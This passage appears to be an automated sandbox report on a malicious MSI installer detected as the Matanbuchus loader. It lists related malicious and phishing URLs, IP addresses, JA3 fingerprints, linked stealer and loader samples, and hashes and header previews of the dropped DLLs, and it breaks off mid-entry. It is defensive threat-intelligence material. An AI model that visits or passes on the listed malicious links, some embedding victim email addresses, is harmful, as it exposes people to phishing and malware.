	https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NkQZ0SJXHBh4xy1QJrAgdMgyCbgZWgRtkRFou0qT18YaHrZDQbzDb7_99rWaINkPrlzT0N-i15vjtunx_Nc993rcr7cH5Zt3O4TI80bLFGBkBXrNArVmFqSVAGENw14FwCtIRCuVihY1FBCxUvkvMYacM0x2FDzyjloQt34oiqpN_G0Hs3gjU9uPVBmcX7Lk3Fk7Il0ns7ETrrLeZwL3BTQFtCacfyDuNQX0H7qF9BeoMA2pyMNBf5HygF3aEMVlOCukaJBAUII5AqxaSyEiqRyBbZsSDmG6EyOabjVwA1BjRJWQflyVUniK2mNWwWrZOld8KoOLE0HM8SP31Aks8XnL92iWvXuuuHu8WX3umOTns1woNOpqMpzTmM0IdqJbvZsokucf-H2-rw8zN-_3t_9oIeXfrffbPaqYll_BvxrXGUzHeifzXy7uGhg1zQd59E4uj192kkv3bel-_j_kK--n6-b5t39DAAA__9AXKZY	Get hash	malicious	Unknown	Browse	188.68.242.180
	https://app.pandadoc.com/document/v2?token=e9c21c3bf4f951c78573525553193377b2f4e89c?	Get hash	malicious	Unknown	Browse	188.68.242.180
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	188.68.242.180
	https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWA	Get hash	malicious	Unknown	Browse	188.68.242.180
	https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2b	Get hash	malicious	Unknown	Browse	188.68.242.180
	https://email.email.pandadoc.net/c/eJxUkMtu2zoQhp9G3NngTeRowYVzfBggLgr0jnYTDMmRw1imFIm2ET99YaDpZTcYzDf4_j-5YFTogaUxno5U6mNO7vBpPu8_Qjtn233vjPaHL2UbGDlhZQdGA3D25CwqECHxQCRtUKDBEqYowFBHIAzLTnKpBZet0FyIbh36NsUUZbSRWq6o0ZyOmIf1hCVhGuO6UGV5eawzRsIwkKvzidjgnmqdlkZtGukb6XGa_iBxPDbSv-k30p9lo3wdD1QatTUJJEohlFBchxhBckADPJi-N1FZ3iloNeeN8qyMNfc5Ys1judUQjU1gwK5EC2qllcEVWuSrLoChCMIK0bJx3mPJ19_Q6xTN6_Zu96Pc7y6XXfCBdt0HNrv0PBZaGs3DaTjQy2mYbupspnNefrFYvM3J35vc35X37_6zGK5f_2fVvaX7a1xVnPf0z2a5XZydZJdxPiwTRro9fX4wlOTmAb-lz_0effAv103-GQAA__9hXKLJ	Get hash	malicious	Unknown	Browse	188.68.242.180
CLOUDFLARENETUS	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	Unknown	Browse	104.21.16.114
	https://wrx.dzpvwobr.ru/	Get hash	malicious	Unknown	Browse	172.67.211.61
	https://www.google.ca/url?q=1120091333775300779273902563687390256368&rct=11200913337753007792&sa=t&url=amp/s/elanpro.net/horeca/dispenc#YnJ1bml0YS5kdW5jYW5AcGFydG5lcnNtZ3UuY29t	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	https://villageforddearborn-my.sharepoint.com/:b:/g/personal/robert_wheat_villageford_net/EaAilHqK5PhBneaYfVtjii0ByKmI10BU9zhQ73pqIHj-uQ?e=FnQ6KL	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://t.ly/DDbri	Get hash	malicious	Unknown	Browse	104.20.6.133
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	https://m0g9861wc1.execute-api.us-east-1.amazonaws.com/uyt/#alissa.bessette@eastwesttea.com	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.229.21
	https://hujalconcretos.com/npp	Get hash	malicious	Unknown	Browse	104.18.11.207

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	Unknown	Browse	104.21.40.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.40.3
	https://wrx.dzpvwobr.ru/	Get hash	malicious	Unknown	Browse	104.21.40.3
	https://www.google.ca/url?q=1120091333775300779273902563687390256368&rct=11200913337753007792&sa=t&url=amp/s/elanpro.net/horeca/dispenc#YnJ1bml0YS5kdW5jYW5AcGFydG5lcnNtZ3UuY29t	Get hash	malicious	HTMLPhisher	Browse	104.21.40.3
	https://villageforddearborn-my.sharepoint.com/:b:/g/personal/robert_wheat_villageford_net/EaAilHqK5PhBneaYfVtjii0ByKmI10BU9zhQ73pqIHj-uQ?e=FnQ6KL	Get hash	malicious	Unknown	Browse	104.21.40.3
	https://t.ly/DDbri	Get hash	malicious	Unknown	Browse	104.21.40.3
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	104.21.40.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.40.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.40.3
37f463bf4616ecd445d4a1937da06e19	klog.php.msi	Get hash	malicious	Matanbuchus	Browse	185.234.216.175
	resume.docx.lnk	Get hash	malicious	Unknown	Browse	185.234.216.175
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse	185.234.216.175
	apilibx64.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	185.234.216.175
	Fortexternal.exe	Get hash	malicious	Unknown	Browse	185.234.216.175
	Setup.msi	Get hash	malicious	Unknown	Browse	185.234.216.175
	Document_PDF.vbs	Get hash	malicious	FormBook	Browse	185.234.216.175
	Pr9cqW75nY.lnk	Get hash	malicious	Unknown	Browse	185.234.216.175
	G3vWD786PN.lnk	Get hash	malicious	Unknown	Browse	185.234.216.175

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Installer\MSI67E2.tmp	klog.php.msi	Get hash	malicious	Matanbuchus	Browse
	fes.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
	zdi.txt.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
	merd.msi	Get hash	malicious	Unknown	Browse
	medk.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
	lavi.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse
	Document-v09-42-38.js	Get hash	malicious	BruteRatel	Browse
	Document-v05-53-20.js	Get hash	malicious	BruteRatel, Latrodectus	Browse
	FW3x3p4eZ5.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse
C:\Users\user\AppData\Roaming\silver\libcurl.dll	klog.php.msi	Get hash	malicious	Matanbuchus	Browse
C:\Users\user\8f08\813848\813848.winmd	klog.php.msi	Get hash	malicious	Matanbuchus	Browse

Created / dropped Files

C:\Config.Msi\4f68dc.rbs

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1355
Entropy (8bit):	5.735918190779132
Encrypted:	false
SSDEEP:	24:hOg4BtTUTXNT6TYggmbtMpUvfUFPe9lW0DhiSVzDfvQsDpD6:USTQ0KstPID8SVf3lD6
MD5:	34358AD45A20C542A030786762B32831
SHA1:	852D966D2B6107A29C463E03DAB7BF6A5D0C7149
SHA-256:	7B9C7351BFDA95D36C6C44FAEED7C9EDD322F24CE94F3DB30E3BC7C728669CCD
SHA-512:	DDAF2C24E2DC75B68A06901C943C3ABE51B0312A3BFD7F44F6699AF74BE1A76870DCC28A237B320C094ACF29F85278429BA0F9FB086971F2FD53AB7B06E8AACC
Malicious:	false
Preview:	...@IXOS.@.....@...Y.@.....@.....@.....@.....@.....@......&.{77E11148-E1F4-45C0-AAA9-BBA409C05474}..ProSoftware..klog.php.@.....@.....@.....@........&.{3E648317-E941-449A-AF72-39AC6882CB87}.....@.....@.....@.....@.......@.....@.....@.......@......ProSoftware......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}&.{77E11148-E1F4-45C0-AAA9-BBA409C05474}.@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}&.{77E11148-E1F4-45C0-AAA9-BBA409C05474}.@......&.{08BCD781-A01D-4960-A91D-D4E69633EB46}&.{77E11148-E1F4-45C0-AAA9-BBA409C05474}.@........CreateFolders..Creating folders..Folder: [1]#.7.C:\Users\user\AppData\Roaming\Blueray INC\ProSoftware\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]..&.C:\Users\user\AppData\Roaming\silver\....1.C:\Users\user\AppData\Roaming\silver\libcurl.dll....WriteRegistryValues..Writing system registry v

C:\Users\user\8f08\813848\813848.winmd

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	6.566831510478186
Encrypted:	false
SSDEEP:	6144:l36YH14eJJkVRujDjVBBUUE5xN8PzTtSIgqbzJX3+uFrn:V6YVvJDj/VBU3N8uqRX3Brn
MD5:	AD47745AB2AEB60334491BA213BDCF73
SHA1:	8D8320BF0CC069F107D1EE3245D7F8BDFF7D3101
SHA-256:	394401B1205D1CC5E6AF1F25183941428651E8DE0E715C5E954E25C6E49D4371
SHA-512:	9FD19931F2365D64B8D7CBC4BBEF7544F031C6515FAB728D1E11020CAC6070051E186CEB7E52429DEF6F559E58DB099D00D46B3BAE9BCA34AA0226B9160FE1C8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: C:\Users\user\8f08\813848\813848.winmd, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: klog.php.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6=..Xn..Xn..Xn..[o..Xn..]oL.Xn..\o..Xn.Y]o..Xn.Y\o..Xn.Y[o..Xn..Yo..Xn..Yn..Xn.Y]o..Xn.YXo..Xn.YZo..XnRich..Xn........PE..L...%.Rg.........."!...&......L.....{.........................................O.....$A....@.........................@...........x.....O.h.....................O.PK......................................@............................................text...`........................... ..`.rdata..............................@..@.data...\.J.........................@....reloc..PK....O..L..................@..B.rsrc...h.....O.....................@..@................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\silver\libcurl.dll

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	6.566831510478186
Encrypted:	false
SSDEEP:	6144:l36YH14eJJkVRujDjVBBUUE5xN8PzTtSIgqbzJX3+uFrn:V6YVvJDj/VBU3N8uqRX3Brn
MD5:	AD47745AB2AEB60334491BA213BDCF73
SHA1:	8D8320BF0CC069F107D1EE3245D7F8BDFF7D3101
SHA-256:	394401B1205D1CC5E6AF1F25183941428651E8DE0E715C5E954E25C6E49D4371
SHA-512:	9FD19931F2365D64B8D7CBC4BBEF7544F031C6515FAB728D1E11020CAC6070051E186CEB7E52429DEF6F559E58DB099D00D46B3BAE9BCA34AA0226B9160FE1C8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: C:\Users\user\AppData\Roaming\silver\libcurl.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: klog.php.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6=..Xn..Xn..Xn..[o..Xn..]oL.Xn..\o..Xn.Y]o..Xn.Y\o..Xn.Y[o..Xn..Yo..Xn..Yn..Xn.Y]o..Xn.YXo..Xn.YZo..XnRich..Xn........PE..L...%.Rg.........."!...&......L.....{.........................................O.....$A....@.........................@...........x.....O.h.....................O.PK......................................@............................................text...`........................... ..`.rdata..............................@..@.data...\.J.........................@....reloc..PK....O..L..................@..B.rsrc...h.....O.....................@..@................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI67E2.tmp

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: klog.php.msi, Detection: malicious, Browse Filename: fes.msi, Detection: malicious, Browse Filename: zdi.txt.msi, Detection: malicious, Browse Filename: merd.msi, Detection: malicious, Browse Filename: medk.msi, Detection: malicious, Browse Filename: lavi.msi, Detection: malicious, Browse Filename: Document-v09-42-38.js, Detection: malicious, Browse Filename: Document-v05-53-20.js, Detection: malicious, Browse Filename: FW3x3p4eZ5.msi, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6850.tmp

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6890.tmp

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI68B0.tmp

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI68F0.tmp

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	5.5771999728476045
Encrypted:	false
SSDEEP:	24:hTg4BtTUTXNhu6SHfbopWzlzbastcZpUWfUFP37rPJG9Q1E7DcqvSDhiS/zAfgx2:FSTBNspz6mP3PUmE7aD8S/XDI
MD5:	FBF7DD5E54067A4B4984207068C3B00C
SHA1:	F0FE278CDC9EFCA773F4CA623C22DD4BA5432977
SHA-256:	CC62FC9F2EF2ACFB5425E6066B0AE812EA6C1A28424B5B0284CCFB7399483804
SHA-512:	20281BBDC46D753650494AF358D5A38C540DDB9A7CD614543A5ADF7F25423C20E8372A4F7CEC24ECE8F3E73EFF71A6C38BC756BDAD337981C803739F54747078
Malicious:	false
Preview:	...@IXOS.@.....@...Y.@.....@.....@.....@.....@.....@......&.{77E11148-E1F4-45C0-AAA9-BBA409C05474}..ProSoftware..klog.php.@.....@.....@.....@........&.{3E648317-E941-449A-AF72-39AC6882CB87}.....@.....@.....@.....@.......@.....@.....@.......@......ProSoftware......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{B48CC27C-9823-4256-8235-834BFD2D0DBB}7.C:\Users\user\AppData\Roaming\Blueray INC\ProSoftware\.@.......@.....@.....@......&.{4A323D5F-6D73-4C26-8E39-BE8928DA13EB},.01:\Software\Blueray INC\ProSoftware\Version.@.......@.....@.....@......&.{08BCD781-A01D-4960-A91D-D4E69633EB46}1.C:\Users\user\AppData\Roaming\silver\libcurl.dll.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]".7.C:\Users\user\AppData\Roaming\Blueray INC\ProSoftware\.@........InstallFiles..Copying new files&.File: [1], Directory: [9], Size: [6]...@.....@.....@.

C:\Windows\Installer\MSIEB4E.tmp

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {3E648317-E941-449A-AF72-39AC6882CB87}, Number of Words: 10, Subject: ProSoftware, Author: Blueray INC, Name of Creating Application: ProSoftware, Template: ;1033, Comments: Set database, Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	978944
Entropy (8bit):	6.982712024960584
Encrypted:	false
SSDEEP:	12288:xtu6QnN5MN+Y9x0ECIgYOx5fnL/tYi8OBZr7AicRXrdq3u8bJk:xtuxnNTY9x0ECIgYmfLVYeBZr7AM
MD5:	18D5F1A9BFB3E34FF25BBDA3F05D386F
SHA1:	4B4394E1C8D91B4D7D1BEC0C4A443FA08243994F
SHA-256:	55A33165FBA0F7134E4CA482E0951C143B04E6A0E78FDC5F702E74E08BFD9249
SHA-512:	050747B91C89396A945E3A7E4BBE10F16CE2627D531DB087DDEF86817FBD9FD1C4E067D3CBB522380D2B1A5F50696797064A19E78DD5A8ABC5A35C03DBE843FE
Malicious:	false
Preview:	......................>.......................................................D.......`......................................./...0.......................................................................................................................................................................................................................................................................................................................................................................................................;...........!...3............................................................................................... ...+..."...#...$...%...&...'...(...)...*...1...,...-......./...0...4...2...:...?...5...6...7...8...9...>...<.......=...........@...A...B...C...........F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\inprogressinstallinfo.ipi

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5663884348612083
Encrypted:	false
SSDEEP:	48:L8PhluRc06WXOGnT51mj2rHOfDSCHOfdAECiCyoq9WuSi20HOfDSCHOfBTlQ:yhl1InT+CyHvECkWWvyH
MD5:	017E45179C6CE2D0B525AF66165DA755
SHA1:	19178F5B3FB5DAEAE01ADB078DE9619226BC6940
SHA-256:	FDB571430870B8A4BD95698B0EB4274E13F7CCCD2DFAB7BBF1698E7AFD8B9BA5
SHA-512:	0B42B77B3A7CECDF76F20744EF20EFB9D38A4213110720DC23492566F5E480E849B0555F92C9501381C069984999D7FCF69E7F0D6D6DF6F9C3282A901CA0A718
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF189CA5C6309A7118.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.1379041469651897
Encrypted:	false
SSDEEP:	48:fQgTeHOfDSCHOf6HOfDSCHOfdAECiCyoq9WuSi2R22x:GyHbyHvECkWWI
MD5:	8AFFEB4B56B67A79B6ECD797C357FC96
SHA1:	BB9BDE2C70CCBEDCA26A8175F12C9E2650675575
SHA-256:	E9851DA8B0285F5D2AF87E8A21984D01609C13ABC42FC642EC76F1F22869B202
SHA-512:	E65866F338DBC581091C7A3A25C893612E31938796921B344307E1C7B24E9775AF5A0F8FA981A8671A6E94BF27A78B59A25909DBEBED37183B1E2A121275807D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2B4C5B26CBA5F775.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2552588110954588
Encrypted:	false
SSDEEP:	48:liduDNvGFXOlT5Ymj2rHOfDSCHOfdAECiCyoq9WuSi20HOfDSCHOfBTlQ:cdPoTZCyHvECkWWvyH
MD5:	0AFB6383CC866AB0EDFFB36E2A2BC842
SHA1:	213347C5B7A60075764D85A0FA9435143F96EBA1
SHA-256:	A5F8573B55FE0E4746B08D980DCA05559EA4350C3A4F98D78B7AD499AF8ED9DB
SHA-512:	D352BA22703B610FD3A883EE5E620DABE7766D819FDC43D88BFDEF6C725B9978972DB74045B73AA805122D77314BF67937F67A51A646A84950AD96D08963A963
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF348CB24DAC154FF7.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.2552588110954588
Encrypted:	false
SSDEEP:	48:liduDNvGFXOlT5Ymj2rHOfDSCHOfdAECiCyoq9WuSi20HOfDSCHOfBTlQ:cdPoTZCyHvECkWWvyH
MD5:	0AFB6383CC866AB0EDFFB36E2A2BC842
SHA1:	213347C5B7A60075764D85A0FA9435143F96EBA1
SHA-256:	A5F8573B55FE0E4746B08D980DCA05559EA4350C3A4F98D78B7AD499AF8ED9DB
SHA-512:	D352BA22703B610FD3A883EE5E620DABE7766D819FDC43D88BFDEF6C725B9978972DB74045B73AA805122D77314BF67937F67A51A646A84950AD96D08963A963
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF38E4762414E69C91.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF727BDCA303735F96.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFA8BE88EF487BECD8.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5663884348612083
Encrypted:	false
SSDEEP:	48:L8PhluRc06WXOGnT51mj2rHOfDSCHOfdAECiCyoq9WuSi20HOfDSCHOfBTlQ:yhl1InT+CyHvECkWWvyH
MD5:	017E45179C6CE2D0B525AF66165DA755
SHA1:	19178F5B3FB5DAEAE01ADB078DE9619226BC6940
SHA-256:	FDB571430870B8A4BD95698B0EB4274E13F7CCCD2DFAB7BBF1698E7AFD8B9BA5
SHA-512:	0B42B77B3A7CECDF76F20744EF20EFB9D38A4213110720DC23492566F5E480E849B0555F92C9501381C069984999D7FCF69E7F0D6D6DF6F9C3282A901CA0A718
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFBB83DEC75FD4CE26.TMP

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
